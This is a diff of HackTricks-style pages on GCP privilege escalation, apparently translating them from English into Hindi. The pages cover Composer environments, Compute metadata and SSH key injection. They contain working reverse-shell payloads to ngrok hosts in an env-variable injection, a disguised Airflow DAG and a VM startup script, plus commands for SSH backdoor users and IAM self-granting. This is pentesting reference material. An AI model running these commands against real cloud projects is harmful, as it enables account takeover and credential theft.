||||
|
||||
|
||||
|
||||
|
||||
+38
-52
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
More info in:
|
||||
अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,28 +12,25 @@ More info in:
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
It's possible to **attach any service account** to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.
|
||||
|
||||
इस अनुमति के साथ नए बनाए गए composer वातावरण में **किसी भी सेवा खाते** को जोड़ना संभव है। बाद में आप composer के अंदर कोड निष्पादित कर सकते हैं ताकि सेवा खाता टोकन चुराया जा सके।
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
|
||||
More info about the exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
अधिक जानकारी के लिए [**यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh) देखें।
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
It's possible to update composer environment, for example, modifying env variables:
|
||||
|
||||
कंपोज़र वातावरण को अपडेट करना संभव है, उदाहरण के लिए, env वेरिएबल्स को संशोधित करना:
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
|
||||
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
|
||||
--location <location> \
|
||||
--project <project-id>
|
||||
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
|
||||
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
|
||||
--location <location> \
|
||||
--project <project-id>
|
||||
|
||||
# Call the API endpoint directly
|
||||
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
|
||||
@@ -49,29 +46,23 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: RCE प्राप्त करें नए pypi पैकेजों को वातावरण में जोड़कर
|
||||
|
||||
TODO: Get RCE by adding new pypi packages to the environment
|
||||
|
||||
### Download Dags
|
||||
|
||||
Check the source code of the dags being executed:
|
||||
### Dags डाउनलोड करें
|
||||
|
||||
चालू किए जा रहे dags का स्रोत कोड जांचें:
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
|
||||
### Import Dags
|
||||
|
||||
Add the python DAG code into a file and import it running:
|
||||
|
||||
एक फ़ाइल में पायथन DAG कोड जोड़ें और इसे चलाकर आयात करें:
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
```python:reverse_shell.py
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
@@ -79,51 +70,46 @@ from airflow.operators.bash_operator import BashOperator
|
||||
from datetime import timedelta
|
||||
|
||||
default_args = {
|
||||
'start_date': airflow.utils.dates.days_ago(0),
|
||||
'retries': 1,
|
||||
'retry_delay': timedelta(minutes=5)
|
||||
'start_date': airflow.utils.dates.days_ago(0),
|
||||
'retries': 1,
|
||||
'retry_delay': timedelta(minutes=5)
|
||||
}
|
||||
|
||||
dag = DAG(
|
||||
'reverse_shell',
|
||||
default_args=default_args,
|
||||
description='liveness monitoring dag',
|
||||
schedule_interval='*/10 * * * *',
|
||||
max_active_runs=1,
|
||||
catchup=False,
|
||||
dagrun_timeout=timedelta(minutes=10),
|
||||
'reverse_shell',
|
||||
default_args=default_args,
|
||||
description='liveness monitoring dag',
|
||||
schedule_interval='*/10 * * * *',
|
||||
max_active_runs=1,
|
||||
catchup=False,
|
||||
dagrun_timeout=timedelta(minutes=10),
|
||||
)
|
||||
|
||||
# priority_weight has type int in Airflow DB, uses the maximum.
|
||||
t1 = BashOperator(
|
||||
task_id='bash_rev',
|
||||
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
|
||||
dag=dag,
|
||||
depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
task_id='bash_rev',
|
||||
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
|
||||
dag=dag,
|
||||
depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### Composer बकेट पर लिखने की अनुमति
|
||||
|
||||
### Write Access to the Composer bucket
|
||||
एक कंपोज़र वातावरण के सभी घटक (DAGs, प्लगइन्स और डेटा) एक GCP बकेट के अंदर संग्रहीत होते हैं। यदि हमलावर के पास इसके ऊपर पढ़ने और लिखने की अनुमति है, तो वह बकेट की निगरानी कर सकता है और **जब भी एक DAG बनाया या अपडेट किया जाता है, एक बैकडोर संस्करण सबमिट कर सकता है** ताकि कंपोज़र वातावरण स्टोरेज से बैकडोर संस्करण प्राप्त कर सके।
|
||||
|
||||
All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
|
||||
Get more info about this attack in:
|
||||
इस हमले के बारे में अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Import Plugins
|
||||
### प्लगइन्स आयात करें
|
||||
|
||||
TODO: Check what is possible to compromise by uploading plugins
|
||||
TODO: जांचें कि प्लगइन्स अपलोड करके क्या समझौता किया जा सकता है
|
||||
|
||||
### Import Data
|
||||
### डेटा आयात करें
|
||||
|
||||
TODO: Check what is possible to compromise by uploading data
|
||||
TODO: जांचें कि डेटा अपलोड करके क्या समझौता किया जा सकता है
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+38
-50
@@ -4,47 +4,44 @@
|
||||
|
||||
## Compute
|
||||
|
||||
For more information about Compute and VPC (netowork) in GCP check:
|
||||
GCP में Compute और VPC (नेटवर्क) के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
|
||||
> ध्यान दें कि उन सभी विशेषाधिकार वृद्धि हमलों को करने के लिए जो इंस्टेंस के मेटाडेटा को संशोधित करने की आवश्यकता होती है (जैसे नए उपयोगकर्ताओं और SSH कुंजियों को जोड़ना) यह **आवश्यक है कि आपके पास इंस्टेंस से जुड़े SA पर `actAs` अनुमतियाँ हों**, भले ही SA पहले से ही जुड़ा हो!
|
||||
|
||||
### `compute.projects.setCommonInstanceMetadata`
|
||||
|
||||
With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
|
||||
Limitations:
|
||||
उस अनुमति के साथ आप **संशोधित** कर सकते हैं **मेटाडेटा** जानकारी को एक **इंस्टेंस** का और **एक उपयोगकर्ता के अधिकृत कुंजियों** को बदल सकते हैं, या **sudo** अनुमतियों के साथ **नया उपयोगकर्ता बना सकते हैं**। इसलिए, आप किसी भी VM इंस्टेंस में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ इंस्टेंस चल रहा है।\
|
||||
सीमाएँ:
|
||||
|
||||
- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
|
||||
- You will need to be **able to contact the SSH** server to login
|
||||
- ध्यान दें कि VM इंस्टेंस में चलने वाले GCP सेवा खातों का डिफ़ॉल्ट रूप से **बहुत सीमित दायरा** होता है
|
||||
- आपको लॉगिन करने के लिए **SSH** सर्वर से संपर्क करने में सक्षम होना चाहिए
|
||||
|
||||
For more information about how to exploit this permission check:
|
||||
इस अनुमति का लाभ उठाने के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-add-custom-ssh-metadata.md
|
||||
{{#endref}}
|
||||
|
||||
You could aslo perform this attack by adding new startup-script and rebooting the instance:
|
||||
|
||||
आप नए स्टार्टअप-स्क्रिप्ट को जोड़कर और इंस्टेंस को पुनरारंभ करके भी इस हमले को कर सकते हैं:
|
||||
```bash
|
||||
gcloud compute instances add-metadata my-vm-instance \
|
||||
--metadata startup-script='#!/bin/bash
|
||||
--metadata startup-script='#!/bin/bash
|
||||
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
|
||||
|
||||
gcloud compute instances reset my-vm-instance
|
||||
```
|
||||
|
||||
### `compute.instances.setMetadata`
|
||||
|
||||
This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
|
||||
यह अनुमति **पिछली अनुमति के समान विशेषाधिकार देती है** लेकिन एक विशिष्ट उदाहरण पर, पूरे प्रोजेक्ट के बजाय। **पिछले अनुभाग के लिए समान शोषण और सीमाएँ लागू होती हैं**।
|
||||
|
||||
### `compute.instances.setIamPolicy`
|
||||
|
||||
This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account:
|
||||
|
||||
इस प्रकार की अनुमति आपको **पिछली अनुमतियों के साथ एक भूमिका देने** और उनका दुरुपयोग करके विशेषाधिकार बढ़ाने की अनुमति देगी। यहाँ एक उदाहरण है जिसमें `roles/compute.admin` को एक सेवा खाते में जोड़ा गया है:
|
||||
```bash
|
||||
export SERVER_SERVICE_ACCOUNT=YOUR_SA
|
||||
export INSTANCE=YOUR_INSTANCE
|
||||
@@ -53,43 +50,41 @@ export ZONE=YOUR_INSTANCE_ZONE
|
||||
cat <<EOF > policy.json
|
||||
bindings:
|
||||
- members:
|
||||
- serviceAccount:$SERVER_SERVICE_ACCOUNT
|
||||
role: roles/compute.admin
|
||||
- serviceAccount:$SERVER_SERVICE_ACCOUNT
|
||||
role: roles/compute.admin
|
||||
version: 1
|
||||
EOF
|
||||
|
||||
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
|
||||
```
|
||||
|
||||
### **`compute.instances.osLogin`**
|
||||
|
||||
If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
|
||||
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** नहीं होंगे।
|
||||
|
||||
> [!TIP]
|
||||
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
|
||||
> इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर `iam.serviceAccounts.actAs` अनुमति होनी चाहिए।
|
||||
|
||||
### **`compute.instances.osAdminLogin`**
|
||||
|
||||
If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
|
||||
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** होंगे।
|
||||
|
||||
> [!TIP]
|
||||
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
|
||||
> इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर `iam.serviceAccounts.actAs` अनुमति होनी चाहिए।
|
||||
|
||||
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
|
||||
|
||||
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
|
||||
यह संभव है कि **एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और टोकन चुराया जाए** जो मेटाडेटा को एक्सेस करके प्रिविलेज को बढ़ाने के लिए है।
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
|
||||
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट [यहां](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py) मिल सकती है।
|
||||
|
||||
### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
|
||||
|
||||
If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
|
||||
यदि आपके पास **`osconfig.patchDeployments.create`** या **`osconfig.patchJobs.exec`** अनुमतियाँ हैं, तो आप एक [**पैच जॉब या डिप्लॉयमेंट**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching) बना सकते हैं। यह आपको वातावरण में लेटरली मूव करने और एक प्रोजेक्ट के भीतर सभी कंप्यूट इंस्टेंस पर कोड निष्पादन प्राप्त करने में सक्षम करेगा।
|
||||
|
||||
Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
|
||||
|
||||
If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
|
||||
For a patch job run:
|
||||
ध्यान दें कि वर्तमान में आपको इंस्टेंस से जुड़े SA पर **`actAs` अनुमति** की आवश्यकता नहीं है।
|
||||
|
||||
यदि आप इसे मैन्युअल रूप से एक्सप्लॉइट करना चाहते हैं, तो आपको या तो एक [**पैच जॉब**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **या** [**डिप्लॉयमेंट**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)** बनानी होगी।\
|
||||
पैच जॉब चलाने के लिए:
|
||||
```python
|
||||
cat > /tmp/patch-job.sh <<EOF
|
||||
#!/bin/bash
|
||||
@@ -102,51 +97,44 @@ gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
|
||||
gsutil ls -a gs://readable-bucket-by-sa-in-instance
|
||||
|
||||
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
|
||||
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
|
||||
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
|
||||
--reboot-config=never \
|
||||
--display-name="Managed Security Update" \
|
||||
--duration=300s
|
||||
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
|
||||
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
|
||||
--reboot-config=never \
|
||||
--display-name="Managed Security Update" \
|
||||
--duration=300s
|
||||
```
|
||||
|
||||
To deploy a patch deployment:
|
||||
|
||||
एक पैच डिप्लॉयमेंट को लागू करने के लिए:
|
||||
```bash
|
||||
gcloud compute os-config patch-deployments create <name> ...
|
||||
```
|
||||
The tool [patchy](https://github.com/rek7/patchy) को इस गलत कॉन्फ़िगरेशन का लाभ उठाने के लिए अतीत में उपयोग किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।
|
||||
|
||||
The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
|
||||
|
||||
**An attacker could also abuse this for persistence.**
|
||||
**एक हमलावर इसे स्थायीता के लिए भी दुरुपयोग कर सकता है।**
|
||||
|
||||
### `compute.machineImages.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to compute Image.
|
||||
**अपने लिए अतिरिक्त अनुमतियाँ दें** कंप्यूट इमेज पर।
|
||||
|
||||
### `compute.snapshots.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to a disk snapshot.
|
||||
**अपने लिए अतिरिक्त अनुमतियाँ दें** एक डिस्क स्नैपशॉट पर।
|
||||
|
||||
### `compute.disks.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to a disk.
|
||||
**अपने लिए अतिरिक्त अनुमतियाँ दें** एक डिस्क पर।
|
||||
|
||||
### Bypass Access Scopes
|
||||
### एक्सेस स्कोप को बायपास करें
|
||||
|
||||
Following this link you find some [**ideas to try to bypass access scopes**](../).
|
||||
इस लिंक का पालन करते हुए आप कुछ [**विचार पाएंगे एक्सेस स्कोप को बायपास करने के लिए**](../)।
|
||||
|
||||
### Local Privilege Escalation in GCP Compute instance
|
||||
### GCP Compute इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+42
-48
@@ -4,61 +4,60 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
### Metadata को संशोधित करना <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
|
||||
Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
|
||||
एक उदाहरण पर मेटाडेटा का संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
|
||||
|
||||
#### **Incorporation of SSH Keys into Custom Metadata**
|
||||
#### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश**
|
||||
|
||||
On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
|
||||
GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** उदाहरण मेटाडेटा एंडपॉइंट की **अधिकृत SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है।
|
||||
|
||||
Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
|
||||
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और **स्थानीय सिस्टम में एकीकृत किया जाएगा**। कुंजी को एक **मौजूदा उपयोगकर्ता के `~/.ssh/authorized_keys` फ़ाइल** में जोड़ा जाएगा या कुंजी के प्रारूप के आधार पर `sudo` अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
|
||||
|
||||
#### **Add SSH key to existing privileged user**
|
||||
#### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें**
|
||||
|
||||
1. **Examine Existing SSH Keys on the Instance:**
|
||||
1. **उदाहरण पर मौजूदा SSH कुंजियों की जांच करें:**
|
||||
|
||||
- Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
|
||||
- मौजूदा SSH कुंजियों को खोजने के लिए उदाहरण और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग `metadata` के तहत होगा, विशेष रूप से `ssh-keys` कुंजी के तहत।
|
||||
|
||||
```bash
|
||||
gcloud compute instances describe [INSTANCE] --zone [ZONE]
|
||||
```
|
||||
```bash
|
||||
gcloud compute instances describe [INSTANCE] --zone [ZONE]
|
||||
```
|
||||
|
||||
- Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
|
||||
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है।
|
||||
|
||||
2. **Prepare a Text File for SSH Key Metadata:**
|
||||
- Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
|
||||
3. **Generate a New SSH Key for the Target User (`alice` in this example):**
|
||||
2. **SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:**
|
||||
- उपयोगकर्ता नाम और उनकी संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
|
||||
3. **लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (`alice` इस उदाहरण में):**
|
||||
|
||||
- Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
|
||||
- `ssh-keygen` कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (`-C`) लक्षित उपयोगकर्ता नाम से मेल खाता है।
|
||||
|
||||
```bash
|
||||
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
|
||||
```
|
||||
```bash
|
||||
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
|
||||
```
|
||||
|
||||
- Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
|
||||
- नई सार्वजनिक कुंजी को `meta.txt` में जोड़ें, उदाहरण के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
|
||||
|
||||
4. **Update the Instance's SSH Key Metadata:**
|
||||
4. **उदाहरण की SSH कुंजी मेटाडेटा को अपडेट करें:**
|
||||
|
||||
- Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
|
||||
- `gcloud compute instances add-metadata` कमांड का उपयोग करके उदाहरण पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
|
||||
|
||||
```bash
|
||||
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
```bash
|
||||
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
5. **Access the Instance Using the New SSH Key:**
|
||||
5. **नई SSH कुंजी का उपयोग करके उदाहरण तक पहुँचें:**
|
||||
|
||||
- Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
|
||||
- लक्षित उपयोगकर्ता (`alice` इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ उदाहरण से कनेक्ट करें।
|
||||
|
||||
```bash
|
||||
ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
```bash
|
||||
ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
|
||||
#### **Create a new privileged user and add a SSH key**
|
||||
|
||||
If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
|
||||
#### **एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें**
|
||||
|
||||
यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे `sudo` अनुमतियाँ दी जाएंगी:
|
||||
```bash
|
||||
# define the new account username
|
||||
NEWUSER="definitelynotahacker"
|
||||
@@ -76,29 +75,24 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
|
||||
# ssh to the new account
|
||||
ssh -i ./key "$NEWUSER"@localhost
|
||||
```
|
||||
|
||||
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
|
||||
|
||||
It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
|
||||
यह संभव है कि SSH पहुँच को एक क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाया जाए **प्रोजेक्ट स्तर पर SSH कुंजी लागू करके**। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी उदाहरण तक SSH पहुँच की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
|
||||
|
||||
1. **Apply SSH Keys at the Project Level:**
|
||||
1. **प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:**
|
||||
|
||||
- Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
|
||||
- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को प्रोजेक्ट के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
|
||||
|
||||
```bash
|
||||
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
```bash
|
||||
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
2. **SSH into Instances Using Project-Wide Keys:**
|
||||
- With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
|
||||
- A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
|
||||
2. **प्रोजेक्ट-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:**
|
||||
- प्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण प्रोजेक्ट-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुँच प्राप्त होगी।
|
||||
- किसी उदाहरण में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुँच प्राप्त करने का प्रयास करता है।
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+36
-44
@@ -6,90 +6,82 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
This permission allows to **gather credentials for the Kubernetes cluster** using something like:
|
||||
|
||||
